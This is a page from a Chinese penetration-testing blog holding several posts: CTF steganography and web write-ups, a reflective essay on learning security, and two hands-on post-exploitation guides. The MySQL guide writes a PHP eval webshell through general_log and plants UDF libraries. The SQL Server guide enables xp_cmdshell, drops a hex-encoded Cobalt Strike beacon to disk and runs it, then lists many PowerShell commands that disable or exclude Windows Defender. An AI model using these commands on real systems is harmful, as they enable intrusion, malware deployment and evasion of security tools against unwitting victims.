首页
关于我
友链
推荐
渊龙Sec安全团队
Search
1
渗透必备:使用Proxifier玩转代理
17,270 阅读
2
对于Spring Boot的渗透姿势
10,808 阅读
3
HaE入门到精通:三条影响你一生的HaE规则
10,222 阅读
4
PHP从零学习到Webshell免杀手册
5,984 阅读
5
2023浙江省大学生网络与信息安全决赛-Misc篇
5,154 阅读
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
登录
Search
标签搜索
技术随笔
技术小记
渗透经验
人生小记
CTF
数据库
年末总结
内网渗透
曾哥
累计撰写
33
篇文章
累计收到
229
条评论
首页
栏目
生活感悟
渗透姿势
技术随笔
CTF夺旗赛
页面
关于我
友链
推荐
渊龙Sec安全团队
搜索到
33
篇与
的结果
2022-12-10
2022安恒杯部分WP-Misc篇
比赛概述吐血。。还是细节没注意Misc-1:My_lllp吐槽:我是真没想到这个隐写方式啊啊啊啊啊啊啊,这道题赛时我没做出来,是看其他师傅的WriteUP复现的1# 题目内容2# 解题思路2.1 提取图片内隐写的内容解压后,只有一张png格式的女生头像用Stegsolve.jar看了一下,发现有PK开头的数据,果断上foremost一键分离文件(工具包内自带了)发现zip有注释信息:也许名称能给你想要的 (ᗜ ˰ ᗜ) 线索如下:名称?名称不就是文件名my_lllp吗?难不成是这个人的名字???结合题目描述:你能发现图片中的秘密吗?这里肯定有图片隐写,但是我试了很多带密码的图片隐写,没成功解密我还去百度识图,识图结果为一个名为“林允”的艺人,相信群里面很多师傅都和我一样觉得密码应该和“林允”有关真没想到是cloacked-pixel,我是看赛后别人发的WriteUP才想起来。。。使用隐写工具cloacked-pixel 密码为my_lllp工具开源地址:https://github.com/livz/cloacked-pixelpython lsb.py extract -i "my_lllp.png" -o out.txt -p my_lllp打开导出的out.txt,可以看到:passwordisSSSSSssssscretpassword is SSSSSssssscret2.2 提取压缩包内容那上面分离的压缩包,解压密码应该是:SSSSSssssscret解压后,拿到flag.txt,内容如下:2.3 解密相关内容,拿到flag提示为snow,那肯定想到snow雪花隐写相关工具下载地址:https://www.darkside.com.au/snow/使用SNOW.EXE对flag.txt进行解密SNOW.EXE -C flag.txt解密后,得到Base64编码的一个字符串REFTQ1RGe0MwbmdyYXRVMWF0aTBuU19Pbl9GaW5kaW5nX3RoZV9mMWFnfQ==使用Base64编码解密,得到flag麻了,我也不知道该说什么了,还是默默补全我的CTF工具箱吧。。隐写方式那么多,你们怎么知道用cloacked-pixel隐写的啊,啊啊啊啊啊啊啊啊啊啊Misc-3:depthpng吐槽:比赛的时候,专注于MISC的第一题、第二题和Web的第三题,这道题没看。当天晚上看了一下,感觉还是挺简单的,远远没有MISC第一题的脑洞那么大,我真的会谢、、1# 题目内容2# 解题思路2.1 提取图片内隐写的内容解压后,只有一张png格式的图片,用Stegsolve.jar看了一下没找到什么东西那就是图片隐写内容在里面,直接上Kali用万能的zsteg默认Kali是没有zsteg这个工具的,这里附上zsteg安装过程:sudo apt-get install gem git clone http://www.github.com/zed-0xff/zsteg sudo gem install zsteg zsteg -h //显示zsteg的帮助菜单,如果有回显说明安装成功安装完成后,使用zsteg对图片进行分析zsteg -a depthpng.png发现在 b1,g,lsb,yx 这块区域,有个ZIP压缩包,我们要将它从图片里面提取出来zsteg depthpng.png -E b1,g,lsb,yx > dapthpng.zip提取出的压缩包内容如下:有个加密的flag.txt,一个未加密的.flag.txt.swp2.2 对.swp文件进行恢复需要关注的是.swp文件,这里简单说一下.swp文件vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容。如果原文件名是data.txt,那么swp文件名就是.data.txt.swp如果文件正常退出,则此文件自动删除以下两种情况不会删除.swp文件:vim非正常退出(比如直接关闭终端或者电脑断电)这种情况下,除非手动删除swp文件,否则它会一直存在。当你强行关闭vim时,vim自动生成一个swp文件,当你再次用vim打开文件时,会出现提示简单来说,.swp文件是Linux里面vim(Linux内置的文本编辑器,相当于Win的TXT文本编辑器)的一个缓存文件,防止你编辑文件的时候出现突发情况导致数据丢失的情况,通过这个.swp文件,可以恢复原来编辑时候的数据先把这个.swp文件解压出来因为.swp文件是隐藏文件,是无法直接在文件夹里面看到的,于是我们要用命令才能看到ls -al那我们就来试一下恢复这个.swp文件吧cd ~/Downloads/depthpng //切换到文件解压的目录,根据你的情况自行修改 vim -r .flag.txt.swp发现报错了,不慌,看一下报了什么错因为在恢复.swp文件的时候,会恢复在它记录的目录(即 /home/chang/Downloads/Misc/),但我们虚拟机里面没有这个目录,所以它会显示“无法打开并写入文件”,所以创建这个路径再恢复即可/home:如果建立一个用户,用户名是"zg666",那么在/home目录下就有一个对应的/home/zg666路径,用来存放用户的主目录所以,我们要创建一个名为“chang”的用户,才能生成 /home/changsudo useradd -m chang然后读取 /etc/passwd 看看有没有创建成功cat /etc/passwd | grep "chang"这时候,/home/chang 就生成了,但我们还需要建两个子目录:/Downloads/Misc/cd /home/chang sudo mkdir Downloads cd /home/chang/Downloads sudo mkdir Misc然后再去恢复一下上面的.swp文件cd ~/Downloads/depthpng //切换到文件解压的目录,根据你的情况自行修改 sudo vim -r .flag.txt.swp按回车进入下一步,输入 :wq(保存编辑操作退出),再回车回到 /home/chang/Downloads/Misc/ 目录下面,发现恢复成功了打开一看,没有flag2.3 对压缩包进行明文攻击既然恢复的flag.txt里面没有flag,说明这是要通过恢复的flag.txt对前面提取出来的ZIP压缩包进行明文攻击发现压缩包内,对flag.txt的加密方式为“ZipCrypto”,这是一种旧版的ZIP加密算法,里面存在明文攻击漏洞这里就需要用到一个开源项目:https://github.com/kimci86/bkcrack,来对压缩包进行明文攻击为了方便区分,我就把上面通过.swp恢复的flag.txt重命名为swp.txt,然后开始对压缩包进行明文攻击bkcrack.exe -C .\dapthpng.zip -c flag.txt -p swp.txt显示攻击成功,拿到相关keys这时候,就可以通过“ZipCrypto”压缩方式的漏洞修改压缩包的密码了,这里我把它修改为“easy”bkcrack.exe -C .\dapthpng.zip -k 6c30e526 874fd386 341fe8cb -U .\out.zip easy打开目录,可以看到生成了一个“out.zip”,解压密码为easy2.4 攻击成功,拿到flag用“easy”解压压缩包,成功拿到flag其实理清楚,感觉这道题还是挺简单的,很多时候做题的时候,思路想的不是很清晰,或者没有注意相应细节,还是要多学多练黑夜给予了我们一双黑色的眼睛,我们却用它来寻找漏洞
2022年12月10日
1,014 阅读
0 评论
11 点赞
2022-12-10
2022安恒杯部分WP-Web篇
比赛概述总体上来说,比赛难度还是有的但是我自身的一些欠缺也是存在的,赛后复盘的时候发现自己在一些地方没注意,导致该拿的分数没拿到,这是真的非常可惜的ezphp2这是一道反序列化的题目,源码如下:<?php error_reporting(0); highlight_file(__FILE__); class A{ public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { foreach (explode("-",$this->a) as $value){ echo $value." "; } } } class B extends C { public $c; public function FileReader(){ if (file_exists($this->c)){ echo file_get_contents($this->c); }else{ echo "file_not_found"; } } public function __toString() { $this->FileReader(); return ""; } } class C{ public $what; public $haha; public function __wakeup() { $this->c = "no way"; $this->what = $this->haha; } } $p = $_GET["p"]; if (isset($p)){ unserialize($p); }else{ new A("Welcome-hacker"); }看起来,是要将文件名路径传给$c,然后读取文件内容出来即可这里要把A类里面的传入B类,然后常规过wakeup即可,但是我比赛的时候忘记过wakeup了。。。本来我自己都是手工构造序列化内容的,但赛后突然发现另外一种解题思路:<?php error_reporting(0); highlight_file(__FILE__); class A{ public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { foreach (explode("-",$this->a) as $value){ echo $value." "; } } } class B extends C { public $c="/flag"; public function FileReader(){ if (file_exists($this->c)){ echo "<br>"; echo "Flag为:" . file_get_contents($this->c); }else{ echo "file_not_found"; } } public function __toString() { $this->FileReader(); return ""; } } class C{ public $what; public $haha; public function __wakeup() { $this->c = "no way"; $this->what = $this->haha; } } $bbb=new B(); $asd=new A($a=$bbb); print_r($asd); echo "<br>"; echo "构造反序列化字符串为:" . serialize($asd); ?>可以这样直接输出出来!!!解题Payload如下:O:1:"A":1:{s:1:"a";O:1:"B":3:{s:1:"c";s:5:"/flag";s:4:"what";N;s:4:"haha";N;}}lander这是一道Java写的Web登录题,给了源码,目录结构如下:F:. │ Easyjava2Application.java │ ├─controller │ Index.java │ └─Utils CyberUtils.java JwtUtils.java OtherUtils.javaEasyjava2Application.java:package com.ctf.lander; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class Easyjava2Application { public static void main(String[] args) { SpringApplication.run(Easyjava2Application.class, args); } }Index.java:package com.ctf.lander.controller; import com.ctf.lander.Utils.JwtUtils; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.util.Map; @Controller public class Index { @RequestMapping(value = "/") public String index()throws Exception{ return "index"; } @RequestMapping(value = "/login") public void login(String username, HttpServletResponse response)throws Exception{ String jwt = JwtUtils.getToken(username); Cookie cookie = new Cookie("auth",jwt); response.addCookie(cookie); response.sendRedirect("/success"); } @ResponseBody @RequestMapping(value = "/success") public String success(Model model, HttpServletRequest request, HttpServletResponse response)throws Exception{ Cookie[] cookies = request.getCookies(); try { Map result = JwtUtils.parseToken(cookies[0].getValue()); String username = result.get("sub").toString(); String uuid = result.get("jti").toString(); if (uuid.contains("flag")||uuid.contains("/")){ return "no"; } ExpressionParser expressionParser = new SpelExpressionParser(); Expression time = expressionParser.parseExpression(String.format("T(com.ctf.lander.Utils.OtherUtils).FileRead('%s')",uuid)); return username+" create at "+time.getValue(); }catch (Exception e){ response.sendRedirect("/"); return ""; } } }CyberUtils.java:package com.ctf.lander.Utils; import org.springframework.util.DigestUtils; public class CyberUtils { public static byte[] Md5(String str)throws Exception{ return DigestUtils.md5DigestAsHex(str.getBytes("utf-8")).getBytes(); } public static byte[] Md5()throws Exception{ return DigestUtils.md5DigestAsHex("".getBytes("utf-8")).getBytes(); } }JwtUtils.java:package com.ctf.lander.Utils; import io.jsonwebtoken.Claims; import io.jsonwebtoken.JwtBuilder; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; import java.util.UUID; public class JwtUtils { public static String getToken(String username) throws Exception{ String uuid = UUID.randomUUID().toString(); JwtBuilder jwtBuilder = Jwts.builder() .setId(uuid) .setSubject(username) .setIssuedAt(new Date()) .signWith(SignatureAlgorithm.HS256, CyberUtils.Md5()); OtherUtils.FileWrite(uuid); return jwtBuilder.compact(); } public static Claims parseToken(String token)throws Exception{ Claims claims = Jwts.parser() .setSigningKey(CyberUtils.Md5()) .parseClaimsJws(token) .getBody(); return claims; } }OtherUtils.java:package com.ctf.lander.Utils; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Date; public class OtherUtils { final static String Base_dir = "/tmp/"; public static void FileWrite(String filename)throws Exception{ File file = new File(Base_dir+filename); if (!file.exists()){ file.createNewFile(); } FileWriter fileWriter = new FileWriter(Base_dir+filename); fileWriter.write(new Date().toString()); fileWriter.close(); } public static String FileRead(String filename)throws Exception{ File file = new File(Base_dir+filename); if (!file.exists()){ return ""; } byte[] bytes = Files.readAllBytes(Paths.get(Base_dir+filename)); String content = new String(bytes, StandardCharsets.UTF_8); return content; } public static String FileRead(Boolean bool)throws Exception{ if (bool){ byte[] bytes = Files.readAllBytes(Paths.get("/flag")); String content = new String(bytes, StandardCharsets.UTF_8); return content; } return ""; } }这道题我还在研究中,打开是一个空白界面,然后能在代码里面看到/login和/success两个目录访问/login,能获得一个jwt格式的cookie,然后自动跳转到/success我猜测,是要将cookie改为管理员的格式,传给/success后才能出现flag
2022年12月10日
683 阅读
0 评论
4 点赞
2022-12-09
我对网络安全的思考
注:本篇文章仅代表个人观点如有异议,欢迎在文章下方友善回复,谢谢相遇即是缘分,希望你能仔细看完这篇文章,并能做出自己的思考每个人的目光都有自己的局限性,理性看待并吸收他人的观点,是常识1# 对于当今网络安全的形势网络安全(信息安全)到如今,发展也不过十几年,但它的发展速度、更新速度却能算是非常迅速的,以下几点是我的个人看法:这几年,无数大大小小的安全事件的出现,让企业逐渐重视起网络安全。我一直重复一句话:安全事件永远是网络安全的第一生产力,没有安全事件,企业就很难重视网络安全。攻防对抗是一个漫长的过程,正是有了攻和防,才会演化出那么多技术、产品,这是无穷无尽的一个过程。单从技术的角度来看,一项最新的攻击技术,有可能过一个月,就会有更新的技术来替代它,也可以刚出现,就被防守方拿来分析,进而抵御、溯源甚至反制攻击者。计算机网络技术的发展,不管是硬件还是软件,只要连入互联网,都面临着来自互联网面的安全。而随着整个世界步入信息时代,前些年如果你关注科技板块,可以发现“互联网+”是个热词,动不动就说“互联网+”。而各个企业纷纷进行“互联网+”,为解决各种各样的需求,里面衍生出的各种软件(开源框架/企业OA/生产平台)、硬件,从软件、硬件的初始设计中,就没有重视网络安全,为攻击者提供了许许多多的可乘之机。网络安全确实是计算机领域的一个红利,但远远没有达到营销号所说的那么夸张,我们要理性看待这个红利。网络安全是技术指向型的产业,最后都会回归到两个字“技术”,如果没有足够的技术储备,那就请做好被淘汰的心理准备吧。随着信息时代的发展,网络安全也拓展出许许多多的新兴领域,我这里举几个例子:供应链安全,开源软件漏洞挖掘,AI模型攻击与防护(渗透自动化),数据分类分级,数据跨境流动安全,物联网安全,网络协议漏洞挖掘这些领域是缺少人才的,同时这方面的人才相对来说也是很难培养的拿物联网来说,物联网安全的细分方向:路由器&物联网设备漏洞挖掘、固件模拟器、物联网设备标签、物联网协议漏洞挖掘、漏洞自动修复、车联网安全、无线电安全所以,格局要打开,不要局限于目前的形势2# 对于网络安全的学习其实每个人,我也一样,大家都是从0开始,大家都有作为菜鸡的一个阶段;但是心态很重要,以下几点我觉得是有必要提的:要承认自己在技术上面的欠缺在学习上谦虚上进、在技术上认真钻研、在待人上友善随和在技术的道路上,持之以恒才能有所收获网络安全的学习道路,很多时候都是孤身一人,实话说,学习网络安全是很辛苦的,要耐得住寂寞,能深耕于网络安全领域,对技术有自己的独立思考在我大学的时候,遇到过许许多多的同学,有一位章某某同学,虽然对网络安全(信息安全)有浓厚的兴趣,但却一直呆在舒适区,不愿意下决心认真学习,我个人认为如果他依旧如此,那在专业上必然很难有所建树。希望他有缘能看到这篇文章,冲出舒适区吧。我虽然混迹网络安全十余载,但我也不敢说自己精通于网络安全,只能说自己略懂略懂。网络安全的技术更新很频繁,新的技术层出不穷,“逆水行舟、不进则退”,不前行的话,很快你就被行业淘汰了。这一点是值得各位师傅细细品味的。随着自己的学习,对于网络安全的眼界逐渐扩大的时候,真的会感慨:还有好多东西等着我们去学习、去进取、去突破,自己真的啥也不会。而当你再去潜下心来学习新的技术的时候,不知不觉你就在成长了,当多年后,再转头来看看以前的自己,可能会觉得又好笑又心酸又自豪。3# 为什么都说网安难入门我十余载和各种各样的师傅接触,有从双一流到大专、中专的学生,又有从小厂到大厂的在职员工,我认为难以入门有以下几点(个人看法,仅供参考):目前国内的网络安全(信息安全)相关教育,是缺乏体系化、系统化、科学化的教学,也没有给学生足够的实践空间和机遇目前学习的相关知识,不符合网络安全相关岗位的需要国内很多无良的营销号,带偏了很多学生的观点(诸如:学网安必须要英语好,必须要“精通”编程,你放屁)网络安全相关的学习资料,在互联网上也是呈现碎片化,十分考验信息搜集的能力国内各种割韭菜的所谓“网络安全培训课”,到头来交了几千块啥也没学会或者只教你一些皮毛(这里点名腾某课堂,上面什么垃圾课程)网络安全涉及内容颇多,学习难以下手,啥都想学却啥也没学会的大有人在但我一直奉行着一条观点:我上面算是抱怨,但既然是抱怨,那就要提出解决方法。只抱怨而没有解决方法,是无效的,这样只会增长彼此的怨气罢了。4# 如何入门网络安全我这里只提供一个方法论(思路),希望你看完后有自己的思考:我个人认为,作为攻击者,想要完成一次完整攻击链,大致需要做到以下七步:信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除而网上有很多课程都教的是Web安全,Web安全正是攻击链的开头呀。现在很多资产都会对外开放Web服务,通过信息搜集找到利用点,再通过Web服务的漏洞拿到Webshell,才能有后面打内网、打域控的内容。而我们不能止步于Web安全,学完Web安全,就应该学习内网安全、免杀、域渗透的相关版块了。第一,现在会Web安全的人太多了,没有足够的竞争力;第二,只会Web安全,在目前的网络安全岗位需求里,已经很难满足岗位的需要了。我这里只是提供了一种思路,如果你决意想钻研上面我提供的那些新兴网络安全领域,也是可以的,希望你能有所收获。这里,推荐一个开源项目,希望各位师傅看看:https://github.com/SecWiki/sec-chart 也推荐我们团队的导航,相信对你的学习有所帮助:https://dh.aabyss.cn 再推荐团队公众号上我写的一篇文章: https://mp.weixin.qq.com/s/r95kz0aRVSkAXzMDeRkcaQ 5# 总结每个人都有属于自己的道路,学习的路上,希望你能不忘初心、砥砺前行。没必要追寻他人的脚步,做好自己、把握当下即可。不过分自卑,也不过分自傲,努力进取,必有所成!
2022年12月09日
3,809 阅读
10 评论
117 点赞
2022-12-09
MySQL不出网文件落地上线姿势
MySQL不出网文件落地上线第一步 判断环境1、查看MySQL版本show variables like '%version%'; select version(); #这个只显示MySQL版本号2、查看load_file() 开启即 secure_file_priv 无限制show variables like '%secure%'; #这条可查看详细信息 show global variables like '%secure_file_priv%';Value说明注意NULL不允许导入或导出在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件/var/lib/mysql-files/只允许在 /var/lib/mysql-files/ 目录导入导出在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件空不限制目录 而这个MySQL数据库,只允许在/var/lib/mysql-files/这个目录导入导出3、查看日志功能是否开启和对应目录MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 GetshellSHOW VARIABLES LIKE 'general%';注:general_log 默认是关闭的,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中开启日志功能set global general_log = "ON"; set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑 # 往日志里面写入 WebShell select '<?php @eval($_POST['AabyssTeam']);?>'; # 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现4、寻找插件目录(UDF提权摸排)如果是 MySQL >= 5.1 的版本,必须把 UDF 动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下,才能创建自定义函数动态链接库文件获取在我们常用的工具 SqlMap 和 Metasploit 里面都自带了对应系统的动态链接库文件SqlMap:工具根目录/data/udf/mysql注: SqlMap 自带的动态链接库为防止被误杀,都经过编码处理,不能被直接使用不过可以利用 SqlMap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:工具根目录/extra/cloak/cloak.pyMetasploit:工具根目录/embedded/framework/data/exploits/mysql注:动态链接库就是实现共享函数库概念的一种方式,在Windows环境下后缀名为 .dll,在Linux环境下后缀名为 .so接下来的任务是把 UDF 动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询:show variables like '%plugin%';第二步 MySQL提权写入动态链接库写入动态链接库可以分为下面几种情形:存在SQL 注入且是高权限plugin(插件) 目录可写且需要 secure_file_priv 无限制MySQL 插件目录可以被 MySQL 用户写入1、存在SQL注入这个时候就可以直接使用 SqlMap 来上传动态链接库注:因为 GET 有字节长度限制,所以往往使用 POST 注入来写入sqlmap -u "http://Web服务的URL" --data="id=注入点" --file-write="根据本地的文件目录来写/lib_mysqludf_sys_64.so" --file-dest="/usr/lib64/mysql/plugin/(上面探测出来的插件目录)udf.so"2、不存在SQL注入就像我举的例子一样,没有Web服务,只有一个Java应用怎么办?我们可以使用 SQL 语句执行写入,前提是 secure_file_priv 无限制,可以手工写文件到 plugin 目录下# 直接 SELECT 查询十六进制写入 SELECT 0x(通过16进制转换后的动态链接库字符串) INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('(通过16进制转换后的动态链接库字符串)') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf.so';当出现这个报错的时候:由于 secure-file-priv 变量的默认设置为 /var/lib/mysql-files/ 引起的,该值意味着只能导出到指定目录下,否则会报错小技巧:获取MySQL账户和对应密码Hash# MySQL <= 5.6 版本 select host, user, password from mysql.user; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user;直接丢到在线网站 https://www.cmd5.com/ 解密直接可以解密了密码,解密不出来就用Hashcat跑就行了
2022年12月09日
1,791 阅读
2 评论
7 点赞
2022-12-09
SqlServer不出网文件落地上线姿势
第一步 启用多种命令执行方式为了确保相关命令的正常执行,请先开启高级选项:sp_configure 'show advanced options', 1; GO RECONFIGURE;1、开启xp_cmdshellEXEC sp_configure 'show advanced options', 1 RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; //1为开,0为关 RECONFIGURE;执行系统命令模板EXEC master.dbo.xp_cmdshell 'cd C:\\ && dir';被删除如何恢复exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'2、开启sp_oacreate在执行命令或写入文件时都需要用到 sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures ” 组件。 如果 xp_cmdshell 组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令exec master.dbo.sp_configure 'show advanced options', 1 RECONFIGURE exec master.dbo.sp_configure 'Ole Automation Procedures', 1 //1为开,0为关 RECONFIGURE执行系统命令模板declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami >C:\Users\Public\Documents\1.txt';注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看3、SQL Server 沙盒提权通过开启沙盒模块来执行命令开启:exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;关闭:exec sp_configure 'show advanced option',1;RECONFIGURE; exec sp configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;执行系统命令模板select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")') select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")')注意:当 C:\Windows\System32\ias\dnary.mdb 或 C:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了第二步 判断系统类型和软件判断系统类型我就不用说了吧。。命令执行看一下就知道了重点是判断系统环境(32位还是64位,账户有无权限,有无杀软)EXEC master.dbo.xp_cmdshell 'tasklist';Ctrl+A全选后,Ctrl+C复制一下这里推荐一个网站:https://i.hacking8.com/tiquan将内容复制后点击查询,发现有杀软(需要查清楚后做对应的免杀处理)第三步 处理文件这里需要将要执行的 CobaltStrike Payload 转换为Hex注意:如果在第二步发现有杀软,需要查清楚后做对应的免杀处理免杀过程省略。。。接下来就是用Python将免杀后的exe进行转换#文件名:zhuan.py import binascii filename = 'beacon.exe' with open(filename, 'rb') as f: content = f.read() print(binascii.hexlify(content))使用命令行执行导出#文件名:start.bat python zhuan.py > hex.txt注意:导出后,记得删掉掉最前面的 b' 和最后面的 ' 这两个部分第四步 实现不出网文件落地虽然我在演示的时候,是通过公网的一个站点进行演示的但如果在内网中,有无法外连的服务器被拿下,要如何不出网文件落地,让我们一起看看DECLARE @DATA VARBINARY(MAX) = 0x #加上第三步中转换好的Hex内容 DECLARE @filepath VARCHAR(MAX) = 'C:\\Users\\Public\\Documents\\system_un.exe' DECLARE @ObjectToken INT EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT EXEC sp_OASetProperty @ObjectToken, 'Type', 1 EXEC sp_OAMethod @ObjectToken, 'Open' EXEC sp_OAMethod @ObjectToken, 'Write', NULL, @DATA EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, @filepath, 2 EXEC sp_OAMethod @ObjectToken, 'Close' EXEC sp_OADestroy @ObjectToken SELECT @filepath如果这里有出现一个错误:SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。exec sp_configure 'show advanced options',1 reconfigure EXEC sp_configure 'Ole Automation Procedures',1 //启用OLE自动化功能接下来就可以正常的写入文件了~执行落地的EXE文件(/c是无弹窗静默运行)Exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Documents\\system_un.exe"接下来就上线成功小技巧附上一些实用的命令行,相信你会用到查看服务器开放的端口netstat -a -n查看系统信息(32位还是64位)systeminfo系统如果是64位的,会在“系统类型”选项后明确标示出“x64-based PC”,否则目标系统就是32位的强制删除文件(支持通配符)可以运行 del /? 来查看命令说明del /F /S /Q C:\inetpub\wwwroot\test.php关于过Windows Defender注意:以下命令都需以管理员权限运行才可成功!!!1、白名单过Windows Defender杀软执行下面命令会分别向Defender添加白名单:目录、进程、类型文件powershell -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Documents" powershell -Command Add-MpPreference -ExclusionProcess "system_un.exe" powershell -Command Add-MpPreference -ExclusionExtension ".exe"2、禁用Windows Defender Antivirus防病毒注意:需管理员权限,且需要先关闭防篡改功能(通过Windows安全应用程序中提供的“病毒和威胁防护”设置来禁用它)powershell Set-MpPreference -DisableRealtimeMonitoring $true执行后,实时防病毒保护将被禁用,直到下次重新启动为止3、Windows Defender功能削弱# 关闭行为监视 powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true" # 禁用IOAV保护,禁止扫描下载的文件和附件 powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true" # 关闭Defender自动更新 powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true" # 禁止扫描.zip等的存档文件 powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true" # 关闭已知漏洞利用防护 powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"4、Windows Defender威胁忽视# 禁止提交样本 powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2" # 指定用于高级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force" # 指定用于中级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6" # 指定用于低级威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6" # 指定用于严重威胁的自动修复操作选项 powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"5、Windows Defender检测进程排除powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32"" powershell.exe -command "Add-MpPreference -ExclusionProcess "regsvr32*"" powershell.exe -command "Add-MpPreference -ExclusionProcess ".exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess "iexplorer.exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess "explorer.exe"" powershell.exe -command "Add-MpPreference -ExclusionProcess ".dll"" powershell.exe -command "Add-MpPreference -ExclusionProcess "*.dll"" powershell.exe -command "Add-MpPreference -ExclusionProcess "*.exe""6、禁止向微软报告安全信息powershell.exe -command "Set-MpPreference -MAPSReporting 0"7、关闭PUA保护powershell.exe -command "Set-MpPreference -PUAProtection disable"8、攻击面减少# 关闭受控文件夹访问 powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"情况:上线失败如果执行命令后,出现这种情况:有两种原因:该目录为不可写目录(不一定一上来就是Administrator管理员账户)落地的EXE文件被系统安装的杀软给查杀了,执行时找不到文件解决方法:写入公共目录,比如我上面举例的 C:\Users\Public\Documents\将EXE处理一下,做成免杀的即可执行
2022年12月09日
1,250 阅读
2 评论
7 点赞
2022-12-08
这是一封发往未来的信
我从何而来,又要从何而去时光从来不等人,转眼间又是十年过去了现在回想起来,感悟颇多遂开个博客,将我现在的心境、思考、成长、技术记录下来,让未来的自己看看十年前的自己人生有无数条岔路,我们无法选择一个完美的人生,但我们仍能立足当下、决定未来!愿我能在迷茫的时候,找到前进的方向;愿我能在错误的时候,能清醒的更正;愿我能保持对知识的渴望,保持成长的动力,保持心中的那团火,因为那是我的热爱我很庆幸十年前,我想立足于网络安全之巅,为国家的网络安全贡献一份自己的力量很庆幸,十年后的我,依旧没有丢掉这个初心,虽然我离这个目标还有着很长很长的距离,但我希望下一个十年,我还能在这里认真的说道:我还是不忘初心,我依然热爱网络安全!关于本博客是我个人的一个驿站吧,无论开心、失落还是愤怒,我都会把这段时间碰到的问题、生活的感慨、技术的突破记录于此。我并不会刻意去展示什么,在这里,我就是最真实的自己。我也不会刻意去做友链、做收录,我认为,在自己的博客上记录东西,是自我沉淀的过程,是给自己看的,是给自己回顾的,顺带能帮别人一把,那也挺好的,但我不刻意追求。无论你是从哪发现这个网站,我都希望你能有所收获,相见既是缘分,我很欢迎和各位师傅的互动和技术交流。
2022年12月08日
787 阅读
2 评论
42 点赞
1
...
3
4